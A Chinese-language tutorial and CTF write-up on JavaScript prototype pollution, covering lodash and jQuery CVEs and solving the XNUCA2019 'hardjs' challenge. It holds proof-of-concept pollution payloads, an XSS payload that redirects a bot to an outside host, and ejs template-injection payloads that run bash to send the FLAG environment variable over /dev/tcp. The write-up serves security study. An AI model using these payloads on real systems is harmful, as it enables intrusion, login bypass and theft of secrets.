0x00 正文
想了解什麼是JavaScript可到合天網安實驗室學習實驗——Javascript基礎,學習DOM操作和BOM操作。
原型和原型鏈
JavaScript中,我們如果要定義一個類,需要以定義「構造函數」的方式來定義。也就是說,我們定義了一個函數,就會有對應的一個類,類名為該函數名。
原型
每個函數對象都會有個prototype屬性,它指向了該構建函數實例化的原型。使用該構建函數實例化對象時,會繼承該原型中的屬性及方法。
所有的對象都有__proto__屬性,它指向了創建它的構建函數的原型。
在P神的介紹JavaScript原型汙染攻擊文章中我們可以知道以下兩個性質。
prototype是一個類的屬性,所有類對象在實例化的時候將會擁有prototype中的屬性和方法一個對象的__proto__屬性,指向這個對象所在的類的prototype屬性原型鏈
所謂原型鏈也是指JS中的一個繼承和反向查找的機制,函數對象可以通過prototype屬性找到函數原型,普通實例對象可以通過__proto__屬性找到構建其函數的原型。
JavaScript的這個查找的機制,被運用在面向對象的繼承中,被稱作prototype繼承鏈
每個構造函數(constructor)都有一個原型對象(prototype)對象的__proto__屬性,指向類的原型對象prototypeJavaScript使用prototype鏈實現繼承機制具體的可以參考下面的解釋圖(參考連結見附錄)
原型鏈汙染
原型汙染是指將屬性注入現有JavaScript語言構造原型(如對象)的能力。
JavaScript允許更改所有Object屬性,包括它們的神奇屬性,如_proto_,constructor和prototype。
在一個應用中,如果攻擊者控制並修改了一個對象的原型,那麼將可以影響所有和這個對象來自同一個類、父祖類的對象,所有JavaScript對象通過原型鏈繼承,都會繼承Object.prototype上的屬性,這種攻擊方式就是原型鏈汙染。
當發生這種情況時,有可能會被攻擊者利用從而注入攻擊代碼達到篡改程序或者執行命令的目的。
原型鏈汙染出現的情況
根據p神文章所說,原型鏈汙染主要是因為攻擊者可以設置__proto__的值,導致汙染,因此我們的目光應該瞄準哪些地方可以設置__proto__的值,或者說尋找某些對象,可以控制其鍵名的操作。比如:
對象merge對象clone(將待操作對象merge到一個空對象中)舉個例子:
假如存在一個merge操作:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
這裡沒有對鍵值進行過濾,假如key為__proto__,那麼就可以進行原型鏈汙染。這裡需要注意,要配合JSON.parse使得我們輸入的__proto__被解析成鍵名,JSON解析的情況下,__proto__會被認為是一個真正的「鍵名」,而不代表「原型」,否則它只會被當作當前對象的」原型「而不會向上影響,例如:
>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2} //直接返回對應值
>console.log({}.b)
<undefined //並未汙染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2 //原型被成功汙染
CVE-2019-10744
Lodash.defaultsDeep
https://snyk.io/vuln/SNYK-JS-LODASH-450202
//Affecting lodash package, versions <4.17.12
Lodash是一個一致性、模塊化、高性能的JavaScript 實用原生庫,不需要引入其他第三方依賴,意在提高開發者效率,提高JS原生方法性能。它通過降低array、number、objects、string 等等的使用難度從而讓 JavaScript 變得更簡單。此軟體包的<4.17.12版本會受到原型汙染的影響。
在Lodash庫中defaultsDeep函數可以進行構造函數(constructor)重載,通過構造函數重載的方式可以欺騙添加或修改Object.prototype的屬性,這個性質可以被用於原型汙染。
驗證POC:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
CVE-2019-11358
JQuery<=3.4.0中的$.extend
在./src/core.js中:
155: if ((options = arguments[ i ]) != null)
如果傳入的參數arguments[i]不為空,將賦值給options,隨後會逐個取出並賦值給copy
158: for (name in options) {159: copy= options [name];
因此copy值為外部可控
183: target[name] = jQuery.extend (deep,clone, copy);
隨後使用jQuery的extend函數將copy對象的內容合併到目標對象clone中,deep是它的可選參數,指示是否深度合併該對象,默認為false,如果為true,且多個對象的同名屬性也都是對象,則該「屬性對象「的屬性也將進行合併。其中,extend函數有以下兩個需要注意的地方:
如果只為$.extend()指定了一個參數,則意味著參數target被省略。此時,target就是jQuery對象本身。通過這種方式,我們可以為全局對象jQuery添加新的函數。127:target = arguments[ 0 ] || {},
如果多個對象具有相同的屬性,則後者會覆蓋前者的屬性值。在小於3.4.0版中extend方法不作檢查,把copy對象合併到target對象中
187:target[name] = copy;
如果 name 可以為
__proto__
,則會向上影響target 的原型,進而覆蓋造成原型汙染。
下面為驗證POC
>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined
可以看到當已經發生了原型汙染
在補丁中可以看到對屬性值進行了過濾:
for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( name === "__proto__" || target === copy ) { continue; }
Node.js中命令執行
在Node.js中有時需要執行一些系統命令,這時候會用到child_process模塊,該模塊翻譯過來就是子進程,主要通過產生子進程來執行系統命令。
global.process.mainModule.require('child_process').exec global.process.mainModule.constructor._load('child_process').exec
0X01 題目:XNUCA2019 hardjs
方法一:JQuery中$.extend汙染+前端XXS
在robot.py裡面可以看到FLAG是藏在主機的環境變量中,並賦值給password。
username = "admin" password = os.getenv("FLAG")
首先,利用JQuery中$.extend汙染session
在server.js中,對用戶進行如下判斷:
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
通過前面的一些知識我們可以知道,在調用一個不存在的屬性key時,結果會返回undefined,比如
>function a(){}
<undefined
>a.aaa
<undefined
>let b = new a()
<undefined
>b.aaa
<undefined
那麼req.session.login以及req.session.userid在用戶未登錄之前的值也是undefined的,按照之前所學習的原型鏈汙染,如果我們能汙染Object,那麼我們只需要修改Object裡的login和userid為true或者1,那麼在session找不到login和userid兩個屬性值時就會向父對象進行查找,一直到找到父對象具有這兩個屬性值或者查找到NULL為止,因為Object裡的login和userid已經被汙染,因此可以任意用戶登錄。
在app.js中使用了存在漏洞的jQuery版本並使用了$.extend方法
function getAll(allNode){
$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}
因此我們可以汙染原型,首先向add路由請求6次,因為記錄條數大於5才會執行合併server.js中
else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}
然後訪問一下get路由來觸發$.extend來汙染原型
所以現在可以以任意用戶登錄。
在所給的robot.py中我們可以看到以下設置:
chrome_options.add_argument('--disable-xss-auditor')
chrome_options.add_argument('--no-sandbox')
可以看到bot利用selenium打開網站首頁,原本是會跳轉到login的,而密碼就是flag,但是我們對原型進行了汙染使得可以直接登錄了網站首頁,如果我們能在前端(即網站首頁)進行XSS,再加上bot原來就會執行一次login的發送動作,那麼我們就可以在首頁構造一個form使得bot執行的submit動作指向我們的伺服器,所以我們就可以獲取到提交的password也就是flag了。
繼續查看代碼,看看頁面時如何進行渲染的,在前端app.js中,用js生成模板時,遍歷了hints數組並將hints數組裡面的內容寫入到對應li標籤中,header、notice、wiki、button和message都會被渲染進sandbox中
this.sandbox.setAttribute('sandbox', 'allow-same-origin')
即使我們可以寫表單,也無法提交,數據中的js不會被執行。
for (key in dom){
switch(key){
case 'header':
$tmp = $("li[type='header']");
$newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]);
// console.log($newNode.html());
viewport.appendChild( $newNode[0] );
break;
case "notice":
// console.log(dom[key]);
$tmp = $("li[type='notice']");
$newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]);
viewport.appendChild( $newNode[0] );
break;
case "wiki":
// console.log(dom[key]);
$tmp = $("li[type='wiki']");
$newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]);
viewport.appendChild( $newNode[0] );
break;
case "button":
// console.log(dom[key]);
$tmp = $("li[type='button']");
$newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]);
viewport.appendChild( $newNode[0] );
break;
case "message":
// console.log(dom[key]);
$tmp = $("li[type='message']");
$newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]);
viewport.appendChild( $newNode[0] );
break;
default:
console.log(key,":",dom[key]);
}
}
接著看
(function(){
var hints = {
header : "自定義內容",
notice: "自定義公告",
wiki : "自定義wiki",
button:"自定義內容",
message: "自定義留言內容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();
如果在前端頁面能找到li標籤且含有type屬性,那麼就可以考慮汙染logger變量,使得hints數組也含有logger屬性,從而把logger的內容列印到頁面中,且避開sandbox,這樣就可以執行XSS了
<li type="logger">
<div>
<pre>
<span>[Tue Jan 11 17:32:52 9]</span> <span>[info]</span> <span>StoreHtml init success .....</span>
</pre>
</div>
</li>
進行XSS,誘導bot把數據提交到指定伺服器,這裡需要注意的是在汙染session成功以後,需要用useid=1的帳號來進行logger的汙染,當提交次數大於5之後,訪問get路由,觸發server.js中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));成功汙染,把flag打到VPS
{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}
方法二:後端RCE之opts.outputFunctionName
const ejs = require('ejs')
該項目使用ejs庫作為模板引擎,由於該模板引擎中通常會有eval等操作用於解析,因此可以去看ejs的存在原型鏈汙染的地方。
查看ejs源碼可以發現,很大一部分調用全是為了動態拼接一個js語句,當opts存在屬性outputFunctionName時,該屬性outputFunctionName便會被直接拼接到這段js中。
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
然後根據拼接的內容,生成動態函數
try{
ctor = (new Function('return (async function(){}).constructor;'));
}
.....
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
此處如果可以控制opts.outputFunctionName為惡意代碼,即可實現RCE
附上出題者的payload
{"type":"test","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
拼接到後端的動態函數則是:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 後面的代碼都被注釋了'
汙染了原型鏈之後,渲染直接變成了執行代碼,並提前 return,從而 getshell
方法三:後端RCE之opts.escapeFunction
同樣可以找到另外一處地方
var escapeFn = opts.escapeFunction;
var ctor;
....
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
偽造escapeFunction也可以打到RCE
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG","debug":true, "compileDebug": true}}}
0X02 參考
留言或私信獲取連結哦